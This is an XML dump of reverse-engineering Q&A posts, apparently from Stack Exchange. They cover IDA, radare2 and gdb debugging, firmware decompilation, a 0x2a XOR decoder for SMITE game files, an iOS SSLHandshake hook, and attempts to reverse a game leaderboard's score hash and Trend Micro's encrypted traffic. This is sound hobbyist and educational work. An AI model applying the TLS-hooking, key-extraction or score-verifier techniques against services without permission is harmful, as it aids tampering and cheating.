  <row Id="11641" PostTypeId="2" ParentId="11640" CreationDate="2015-12-28T05:27:46.570" Score="1" Body="&lt;p&gt;It is possible. I think that it is bug in IDA (editing last instruction of the function removes it from the function, I succeeded to reproduce this behavior), but you can work it around by fixing the function after patching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to do it is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;After doing the patching&lt;/li&gt;&#xA;&lt;li&gt;Place a cursor to the instruction removed from the function in IDA-View-A window (regular assembly window)&lt;/li&gt;&#xA;&lt;li&gt;and press E. This will define the end of function to the current instruction, which means to the address where it was before.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can do the same by editing the function end address in function properties dialog (Edit-&gt;Functions-&gt;Edit Function or &lt;kbd&gt;Alt-P&lt;/kbd&gt;.&#xA;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-12-28T05:27:46.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11642" PostTypeId="1" CreationDate="2015-12-28T14:00:16.880" Score="2" ViewCount="979" Body="&lt;p&gt;I've been given a PXP3 Slimstation. It's a mysterious undocumented portable games console, running 16bit Sega Genesis games. It has a mini USB connector on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to try to find out more about the software via the USB port. What first steps would you recommend to begin examining it on a Mac?&lt;a href=&quot;https://i.stack.imgur.com/xj7PB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xj7PB.jpg&quot; alt=&quot;pxp3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14543" LastActivityDate="2017-02-20T07:02:53.753" Title="Reverse engineering a PXP3 Slimstation" Tags="|osx|usb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11643" PostTypeId="2" ParentId="9567" CreationDate="2015-12-28T21:27:28.163" Score="8" Body="&lt;p&gt;You can make use of the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) process launch --stop-at-entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to start the program. This stops you right at the entry point. From there lldb will tell you the address as well, in case this is what you are interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If instead you were interested in the actual main function, and not the entry point, you should have a look at the related question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6719/lldb-break-at-start-of-actual-code-not-entrypoint&quot;&gt;lldb: break at start of actual code, not entrypoint&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14548" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-12-28T21:27:28.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11645" PostTypeId="1" CreationDate="2015-12-29T02:22:40.930" Score="2" ViewCount="349" Body="&lt;p&gt;I know how to program in C++/C# and a few other low level languages. I'm however in the dark about reverse engineering firmware etc. I was wondering if anyone could point me towards some learning tools etc to start me off? The help would be greatly appreciated! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mostly looking for how to grab the firmware from the keyboard, how to analyse the resulting firmware (I read an article briefly on this subject but it didn't go into great detail) and how to then repackage the firmware to try it out on the keyboard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mostly this is a side project of sorts. Learning a new skill as well as attempting to create some custom profiles for the ducky shine 5s awesome RGB switches (the standard stuff is fun and all... but.. it would be nice to have customizability in there!) &lt;/p&gt;&#xA;" OwnerUserId="14549" LastActivityDate="2015-12-29T02:22:40.930" Title="Looking to RE a Ducky Shine 5" Tags="|c++|firmware|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11646" PostTypeId="2" ParentId="9521" CreationDate="2015-12-29T09:19:47.780" Score="2" Body="&lt;p&gt;First of all, ARM is much easier than Intel because it has fixed instruction length, (if I remember right) requires instructions to be aligned by 2 or 4 and has limited capabilities for arbitrary code self-modification because of its Harvard architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to say that there is no such an algorithm, and in general case such an algorithm is impossible, for example because of possible self-modification of the code and using exceptions and traps in a regular code flow, so the only general way to achieve the desired result is an emulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the answer depends on more exact definition of required algorithm, target architecture and validity of the sequence.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-12-29T09:19:47.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11647" PostTypeId="1" CreationDate="2015-12-29T11:31:51.833" Score="7" ViewCount="3693" Body="&lt;p&gt;I am interested in the anti-debugging method implemented in the crackme called &lt;a href=&quot;http://crackmes.de/users/taviso/trace_p/&quot; rel=&quot;nofollow&quot;&gt;trace-p&lt;/a&gt;. A child process is forked, which communicates with the parent using int3 instructions. I would like to debug the child. gdb has &lt;code&gt;set follow-fork-mode&lt;/code&gt;, however gdb does not recognize the file as executable (probably because of deleted sections related information). With radare2 I can disassemble and even debug, but I do not know how to follow the child after the fork takes place. I want to do this because the child contains instructions like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0804898a    jmp dword [edx*4 + 0x8049334]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to stop there and examining edx, in order to see where the jump takes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am interested in any tool or method which is able to debug the child process.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="13970" LastEditDate="2016-01-07T19:53:46.487" LastActivityDate="2019-11-15T14:43:04.740" Title="Debugging forked child in an anti-debug protected crackme" Tags="|linux|anti-debugging|radare2|crackme|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11649" PostTypeId="2" ParentId="11647" CreationDate="2015-12-29T15:10:50.310" Score="4" Body="&lt;p&gt;The first thing with radare2 is to make sure that you're running the latest &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow&quot;&gt;git version&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get help about commands in radare2, you can use the &lt;code&gt;?&lt;/code&gt; character. For help about configuration variables, you can use &lt;code&gt;e??&lt;/code&gt; (since &lt;code&gt;e?&lt;/code&gt; would give you help about how to use them, not list them). Since there are many variables, you can filter them with the internal grep command : &lt;code&gt;~&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;[0x00000000]&gt; e??dbg&#xA;          dbg.args: Set the args of the program to debug&#xA;       dbg.backend: Select the debugger backend&#xA;           dbg.bep: break on entrypoint (loader, entry, constructor, main)&#xA;      dbg.bpinmaps: Force breakpoints to be inside a valid map&#xA;        dbg.bpsize: Size of software breakpoints&#xA;        dbg.btalgo: Select backtrace algorithm&#xA;       dbg.btdepth: Depth of backtrace&#xA;         dbg.clone: Stop execution if new thread is created&#xA;         dbg.execs: Stop execution if new thread is created&#xA;        dbg.follow: Follow program counter when pc &gt; core-&gt;offset + dbg.follow&#xA;         dbg.forks: Stop execution if fork() is done (see dbg.threads)&#xA;          dbg.libs: If set stop when loading matching libname&#xA;       dbg.profile: Path to RRunProfile file&#xA; dbg.shallow_trace: While tracing, avoid following calls outside specified range&#xA;          dbg.slow: Show stack and regs in visual mode in a slow but verbose mode&#xA;        dbg.status: Set cmd.prompt to '.dr*' or '.dr*;drd;sr PC;pi 1;s-'&#xA;        dbg.swstep: Force use of software steps (code analysis+breakpoint)&#xA;       dbg.threads: Stop all threads when debugger breaks (see dbg.forks)&#xA;         dbg.trace: Trace program execution (see asm.trace)&#xA;     dbg.trace.tag: Trace tag&#xA;        dbg.unlibs: If set stop when unloading matching libname&#xA;[0x00000000]&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could aslo have use &lt;code&gt;e dbg.&amp;lt;tab&amp;gt;&lt;/code&gt;, since there is autocompletion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, the variale you're looking for is &lt;code&gt;dbg.fork&lt;/code&gt;, to set it to true: this will stop the process when it encounters a &lt;code&gt;fork()&lt;/code&gt;. You can the change the pid with a &lt;code&gt;d&lt;/code&gt;-command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;[0x00000000]&gt; d?~process&#xA;| dH [handler]            Transplant process to a new handler&#xA;| do                      Open process (reload, alias for 'oo')&#xA;| dp[?]                   List, attach to process or thread id&#xA;| dx[?]                   Inject and run code on target process (See gs)&#xA;&#xA;[0x00000000]&gt; dp?&#xA;|Usage: dp # Process commands&#xA;| dp                  List current pid and childrens&#xA;| dp             List children of pid&#xA;| dp*                 List all attachable pids&#xA;| dp=            Select pid&#xA;| dp-            Dettach select pid&#xA;| dpa            Attach and select pid&#xA;| dpe                 Show path to executable&#xA;| dpf                 Attach to pid like file fd // HACK&#xA;| dpk    Send signal to process&#xA;| dpn                 Create new process (fork)&#xA;| dpnt                Create new thread (clone)&#xA;| dpt                 List threads of current pid&#xA;| dpt            List threads of process&#xA;| dpt=        Attach to thread&#xA;&#xA;[0x00000000]&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="1485" LastEditDate="2015-12-30T17:45:42.517" LastActivityDate="2015-12-30T17:45:42.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11650" PostTypeId="1" CreationDate="2015-12-30T02:27:34.983" Score="2" ViewCount="24663" Body="&lt;p&gt;The source file is in intel 32 bit .hex format, it was built for a nuvoton NUC220LE3AE. I want to decompile it to C++, or at least assembly. I have some experience with assembly, but mostly with MIPS and that was years ago - so high level code is preferred. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to .hex file: &lt;a href=&quot;http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex&quot; rel=&quot;nofollow&quot;&gt;http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The device it resides in is a SMOK Xcube 2 (e-cig box mod.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to add an option to control the LED color based on the atomizer temperature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched but could not find an applicable how-to.&lt;/p&gt;&#xA;" OwnerUserId="14558" LastEditorUserId="60" LastEditDate="2017-03-23T21:51:40.030" LastActivityDate="2017-03-27T05:11:08.263" Title="How can I decompile an ARM Cortex-M0 .hex file to C++?" Tags="|arm|decompile|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11651" PostTypeId="1" AcceptedAnswerId="11667" CreationDate="2015-12-30T10:31:57.637" Score="0" ViewCount="453" Body="&lt;p&gt;Using a forward proxy, I have logged two payloads that are POST requests to a site, and I was curious as to what the best way to determine how a particular attribute in the payloads was generated. Below are the two payloads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dedup_counter=2&amp;amp;leaderboard=2&amp;amp;scores=3563736&amp;amp;session=4FMzmwStjaRC&amp;amp;verifier=7e9282dbce68fe787be15f6633246fcd8297eb18&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dedup_counter=3&amp;amp;leaderboard=4&amp;amp;scores=10448&amp;amp;session=4FMzmwStjaRC&amp;amp;verifier=07bdb58cb2147b4ef0ca01110a74e4fb4c8e99c1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe that the &lt;code&gt;verifier&lt;/code&gt; attribute is an SHA-1 checksum since that's the most common 20-byte hashing method, though I cannot confirm this. The issue is, I don't know what it's a checksum of and I'd like to know how to go about determining the process that was used for generating it. Any advice? I'll be happy to provide more specific information upon request.&lt;/p&gt;&#xA;" OwnerUserId="14561" LastActivityDate="2015-12-31T19:31:11.720" Title="Reverse-engineering the generation of a hash?" Tags="|exploit|deobfuscation|hash-functions|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11652" PostTypeId="2" ParentId="11650" CreationDate="2015-12-30T11:50:32.617" Score="5" Body="&lt;p&gt;Short answer: You can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least, don't expect a readable, and compilable, C source code. There's discussion why elsewhere on this site, so i won't get into details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note there's not an easy walk-through or how-to. You need to experiment, and you'll need some experience as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get you started, you might:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;convert the .hex file into a raw binary file, for example using &lt;a href=&quot;http://hex2bin.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;Hex2bin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;use that binary file with the &lt;a href=&quot;https://retdec.com/decompilation/&quot; rel=&quot;noreferrer&quot;&gt;retargetable Decompiler&lt;/a&gt; selecting &quot;raw machine code&quot; and probably &quot;ARM+Thumb&quot; as architecture&lt;/li&gt;&#xA;&lt;li&gt;If the results of of the retargetable decompiler are unsatisfactory (it didnt work well for me, last time i tried), you might want to try the &lt;a href=&quot;https://www.onlinedisassembler.com/odaweb/&quot; rel=&quot;noreferrer&quot;&gt;Online Disassembler&lt;/a&gt; to get assembly code&lt;/li&gt;&#xA;&lt;li&gt;Of course, the ultimate tool is &lt;a href=&quot;http://www.hex-rays.com&quot; rel=&quot;noreferrer&quot;&gt;IDA&lt;/a&gt;, but the freeware version can't handle ARM, and the price is probably a bit steep for a hobby project.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-12-30T11:50:32.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11653" PostTypeId="1" AcceptedAnswerId="14303" CreationDate="2015-12-30T14:58:05.243" Score="7" ViewCount="3897" Body="&lt;p&gt;Is is possible to retrieve the dissassembly of Objective-C methods declared in Mach-O files using Radare 2 ?&lt;/p&gt;&#xA;" OwnerUserId="3469" LastActivityDate="2017-06-09T08:16:23.960" Title="Method disassembly of Objective C Mach-O with Radare 2" Tags="|radare2|mach-o|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11654" PostTypeId="2" ParentId="11653" CreationDate="2015-12-30T17:46:36.867" Score="2" Body="&lt;p&gt;Just use &lt;code&gt;rabin2 -c&lt;/code&gt; .... now i have to fill silly text to fill 30 chars&lt;/p&gt;&#xA;" OwnerUserId="14564" LastActivityDate="2015-12-30T17:46:36.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11655" PostTypeId="2" ParentId="11647" CreationDate="2015-12-30T17:50:01.413" Score="6" Body="&lt;p&gt;Use &lt;code&gt;dbg.forks=true&lt;/code&gt; to stop the debugger when a fork happens. and then just use &lt;code&gt;dp&lt;/code&gt; to list and select the pid you want to follow.&lt;/p&gt;&#xA;" OwnerUserId="14564" LastActivityDate="2015-12-30T17:50:01.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11656" PostTypeId="1" CreationDate="2015-12-30T17:52:13.770" Score="1" ViewCount="2391" Body="&lt;p&gt;I would like to find out if there's a way to detect if a C function is hooked in iOS? So for example let's say I hook SSLHandshake,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OSStatus (*orig_SSLHandshake) (SSLContextRef context);&#xA;&#xA;OSStatus replaced_SSLHandshake (SSLContextRef context)&#xA;{&#xA;    OSStatus result = orig_SSLHandshake(context);&#xA;    if (result == errSSLServerAuthCompleted)&#xA;    {&#xA;        return orig_SSLHandshake(context);&#xA;    }&#xA;    else&#xA;        return result;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to detect if this function has been hooked?&lt;/p&gt;&#xA;" OwnerUserId="5804" LastActivityDate="2016-01-07T21:46:39.913" Title="iOS Detect Function Hooking" Tags="|ios|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11657" PostTypeId="1" AcceptedAnswerId="11658" CreationDate="2015-12-30T18:19:26.763" Score="0" ViewCount="137" Body="&lt;p&gt;I'm trying to find out what value a certain parameter has when it's called (I know &quot;parameters&quot; are gone after compiled, but you get the idea). The pseudo-C and assembly code are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_171F4A0(ctx, aes_mode, KEY, &amp;amp;IV); // EVP_DecryptInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *cipher, const unsigned char *key, const unsigned char *iv)&#xA;&#xA;.text:000000000040CEE6 ; 252:   sub_171F4A0(v110, v125, ptr, &amp;amp;v130);&#xA;.text:000000000040CEE6&#xA;.text:000000000040CEE6 loc_40CEE6:                             ; CODE XREF: sub_40CAD0+363j&#xA;.text:000000000040CEE6                 mov     rdi, [rsp+400h+var_400]&#xA;.text:000000000040CEEA                 lea     rcx, [rsp+400h+var_1C0]&#xA;.text:000000000040CEF2                 mov     rsi, [rcx-28h]&#xA;.text:000000000040CEF6                 mov     rdx, [rsp+400h+ptr]&#xA;.text:000000000040CEFE                 call    sub_171F4A0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have already figured out &lt;code&gt;IV&lt;/code&gt; value, but now I need &lt;code&gt;KEY&lt;/code&gt;, which is 16 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I ran &lt;code&gt;gdb ./executable&lt;/code&gt; (Linux 64-bit ELF binary) and set a breakpoint at 0x40CEF6 and examined all the registers mentioned above (I have no idea which one holds the third parameter).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) break *0x40CEF6&#xA;Breakpoint 1 at 0x40cef6&#xA;(gdb) run&#xA;Starting program: /path/to/executable&#xA;[Thread debugging using libthread_db enabled]&#xA;Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.&#xA;&#xA;Breakpoint 1, 0x000000000040cef6 in ?? ()&#xA;(gdb) x/4x $rdi&#xA;0x29d72f0:  0x00000000  0x00000000  0x00000000  0x00000000&#xA;(gdb) x/4x $rcx&#xA;0x7fffffffe340: 0x00000000  0x00000000  0x00000000  0x00000000&#xA;(gdb) x/4x $rsi&#xA;0x1c11620:  0x000001a3  0x00000010  0x00000010  0x00000010&#xA;(gdb) x/4x $rdx&#xA;0x2a09690:  0x724a5bac  0xa90b86f0  0xff9d8546  0x9910582b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;None of those values is the actual key, but $rdx seems to be the best candidate to hold the key value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since it's a pointer, I thought I should examine 0x724a5baca90b86f0, just in case, which didn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/4x 0x724a5baca90b86f0&#xA;0x724a5baca90b86f0: Cannot access memory at address 0x724a5baca90b86f0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14565" LastActivityDate="2015-12-30T18:32:10.877" Title="Reverse engineering parameter value on subroutine call" Tags="|gdb|encryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11658" PostTypeId="2" ParentId="11657" CreationDate="2015-12-30T18:32:10.877" Score="2" Body="&lt;p&gt;Set your breakpoint on address &lt;code&gt;0x0040CEFE&lt;/code&gt; and examine the memory pointed to by &lt;code&gt;rdx&lt;/code&gt; at that point.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-12-30T18:32:10.877" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11659" PostTypeId="1" AcceptedAnswerId="11662" CreationDate="2015-12-30T22:06:56.027" Score="3" ViewCount="38836" Body="&lt;p&gt;&lt;strong&gt;Hello,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm from Uruguay so I'll make my best effort to explain my &quot;problem&quot; in english.&#xA;I want to read some text that is inside a .DAT file, but is &quot;encrypted&quot; or &quot;compressed&quot; (I don't know which is the right &quot;term&quot; for this). The file is from the game SMITE, and this file has basically most of the text in the game (like unreleased Item descriptions) and that's why I want to read the file :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Previous versions of the file could be readed with Notepad ++, like this:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LCi71.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/LCi71.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But current versions are just random letters and &lt;strong&gt;NULL&lt;/strong&gt; characters. (I can't post a picture because of the &quot;only two links&quot; restriction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in just two files. One, is named &quot;Lang_INT.dat&quot;, inside the Localization folder, there is another file in that folder named &quot;GFxTranslation.int&quot;, which has some text that appears in the Lobby Screen and things like that, that's why the &quot;Localization&quot; folder has to be where the text is... but in the first picture that I shared, you can see text that appears in-game and also in the lobby screen, and it's on another folder named &quot;Content&quot; and the file is named &quot;assembly.dat&quot;, with another file named &quot;behavior_trees.dat&quot; but I think that file is not important to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, this maybe would be usefull as a &quot;reference&quot;, there is another .DAT file named &quot;word filter&quot; which (i suppose) has the &quot;bad words&quot; that are censored in the chat if the word filter is activated. This .DAT is inside the Localization folder.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;https://mega.nz/#!eJ5QiLDD!lxbfkGmKBmJ7OoXQoIjcH7adAhIn7I8Cka2CCTLyPsw&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is a link with ALL the .DAT mentioned in this post&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'll appreciate any kind of help on this, I did some research but I did not find anything that is usefull... the only thing that I know is: A person who has no knowledge about programing or &quot;some&quot; knowledge, could &quot;de-compress&quot; &quot;decrypt&quot; one of this files...or that is what looks like, and no, that person do not want to help me :c&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance again, and sorry for bad English:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Agustín&lt;/p&gt;&#xA;" OwnerUserId="14566" LastEditorUserId="14566" LastEditDate="2015-12-30T22:12:35.327" LastActivityDate="2017-11-21T13:47:44.000" Title="Extract text data from a compressed/encrypted .DAT file" Tags="|decompilation|file-format|decryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11660" PostTypeId="1" CreationDate="2015-12-31T00:16:03.653" Score="4" ViewCount="3370" Body="&lt;p&gt;I have an old DOS program compiled using Borland C++ (1991 version)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end of the executable contains many strings preceded by an underscore which looks like debug/symbol information :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:  &lt;code&gt;_HandleMemory&lt;/code&gt;, &lt;code&gt;_AddKey&lt;/code&gt;, &lt;code&gt;_SetPalette&lt;/code&gt;, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of these strings seems to be functions or variables names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However once the exe is opened in IDA, that information is not used, most functions are simply named this way (except some known C functions like &lt;code&gt;_qsort&lt;/code&gt;) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_XXXXX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to import that info back to IDA ?&lt;/p&gt;&#xA;" OwnerUserId="14570" LastEditorUserId="1413" LastEditDate="2015-12-31T06:06:59.750" LastActivityDate="2020-10-22T19:23:05.690" Title="Is there a way to import debug/symbol information of a C++ DOS executable to IDA?" Tags="|ida|debugging|c++|dos|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11661" PostTypeId="1" AcceptedAnswerId="11664" CreationDate="2015-12-31T07:03:24.927" Score="2" ViewCount="1585" Body="&lt;p&gt;I became curious about how Trend Micro communicated with its servers so I gleaned some of the unique and standard HTTP headers that were being sent back and forth using Fiddler2. I created a winsock program in C++ that sends the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    GET /T/128/y2k-L48MLwdH0BuLxZvYxGjK5An-UV6lY772ppsBGZ3ojsPfa37NjMDonK98FPZesq5hXXOsV082oIdmeTaWURWiB4qqibZGVy8ZzCKKDLpZ9ekYPU7X4UgyBnKWFENX HTTP/1.1&#xA;    Host: titanium80-en.url.trendmicro.com&#xA;    User-Agent: TMUFE&#xA;    Accept: /&#xA;    X-TM-UF-INFO: 76/Uj3tcG7ArMH0ktdN_RiX6fLyEhB2sQWJhjJRJufMEMElv7j6EizpjjDSQd_cUW5fMormb8Q8FN4=&#xA;    Connection: Keep-Alive&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously I don't know what those encrypted values are because I only copied and pasted them from Fiddler to see what the server would reply with which was an encrypted string like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XnbdFqiy5YGldi-HnN5y7pH0kZ03J_UsH-bZ5JUi0aNEj-aa1P8cQlU9I2b77Jf-Rgd1fepEqlTp&#xA;H_LlvWDqe0YjWKvw01M1zkXx_iAbFIm9Ld_QcUTw9cQsNIok7-cOK8wKVyDR63SVwBjebXthWKh0kBW3&#xA;wWn3Y0D7UoGDYSeSJfLoqSroByZligLXqEZ5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to know where in the program, once I've decompiled it using something like Cheat Engine and have the hexadecimal, I can find the encryption or encoding being used and or a key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: After using an encoding detector and suggestions from different people I tried decoding it as base64 but I keep getting symbols and gibberish as follows:&#xA;&lt;code&gt;ÖÁ¾ä/Æ¼0&lt;/code&gt;and &lt;code&gt;//GÐÅØÄ&lt;/code&gt;. Any knowledge on this would be greatly appreciated. :)&lt;/p&gt;&#xA;" OwnerUserId="14573" LastEditorUserId="14573" LastEditDate="2015-12-31T23:01:00.243" LastActivityDate="2015-12-31T23:01:00.243" Title="How would I go about finding an encryption key or cipher by decompiling a program?" Tags="|encryption|decryption|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11662" PostTypeId="2" ParentId="11659" CreationDate="2015-12-31T09:07:36.667" Score="3" Body="&lt;p&gt;These files are definitely not compressed. behavior_trees.dat is a binary file which is not encrypted and not compressed, just binary. Encryption, as far as I can see, looks like substitution cipher which should be relatively easy to crack with frequency analysis if you know what should be there. Assuming that decrypted content of files from older and newer versions are similar you can try to account frequencies of symbols on a base of files of previous versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I'd do for decrypting (for example) assembly.dat file:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get a corresponding file from previous version which should be not encrypted.&lt;/li&gt;&#xA;&lt;li&gt;Account frequency of appearance of each symbol (should be easily done with simple python script)&lt;/li&gt;&#xA;&lt;li&gt;Account frequency of appearance of each symbol in newer version files.&lt;/li&gt;&#xA;&lt;li&gt;Try to replace symbols from the newer files to the symbols with same (or alike) appearance rate from the older file and see what happends.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;UPDATE, Just for the sake of completeness:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used an excellent tool &lt;a href=&quot;http://blog.didierstevens.com/programs/xorsearch/&quot; rel=&quot;nofollow&quot;&gt;XorSearch&lt;/a&gt; by Didier Stevens (it was mentioned by @Andy Dove in answer to another question, which reminded me to return to this one) and found out the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Assuming that the decrypted content of current file is similar to content of previous I tried to find some words from the picture you provided with this tool (for example words like item, Pickup and Physical) .&lt;/li&gt;&#xA;&lt;li&gt;The tool shows that it is xor substitution cipher, the key is 0x2a, applying it to word filter  and lang int files gives reasonable result.&lt;/li&gt;&#xA;&lt;li&gt;Applying this key gives a lot of reasonable strings, for all files I tried the key was the same.&lt;/li&gt;&#xA;&lt;li&gt;According to your claim you know some basics in programming. Which means that you'll be able to run the following python script on your files and understand what happens or translate it to the language of your choice.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import sys&#xA;&#xA;f = open(sys.argv[1], &quot;rb&quot;)&#xA;o = open(sys.argv[2], &quot;wb&quot;)&#xA;&#xA;data = f.read()&#xA;&#xA;for d in data:&#xA;    o.write(&quot;&quot; + chr (ord(d) ^ 0x2a))&#xA;&#xA;&#xA;f.close()&#xA;o.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-01-12T11:16:56.783" LastActivityDate="2016-01-12T11:16:56.783" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
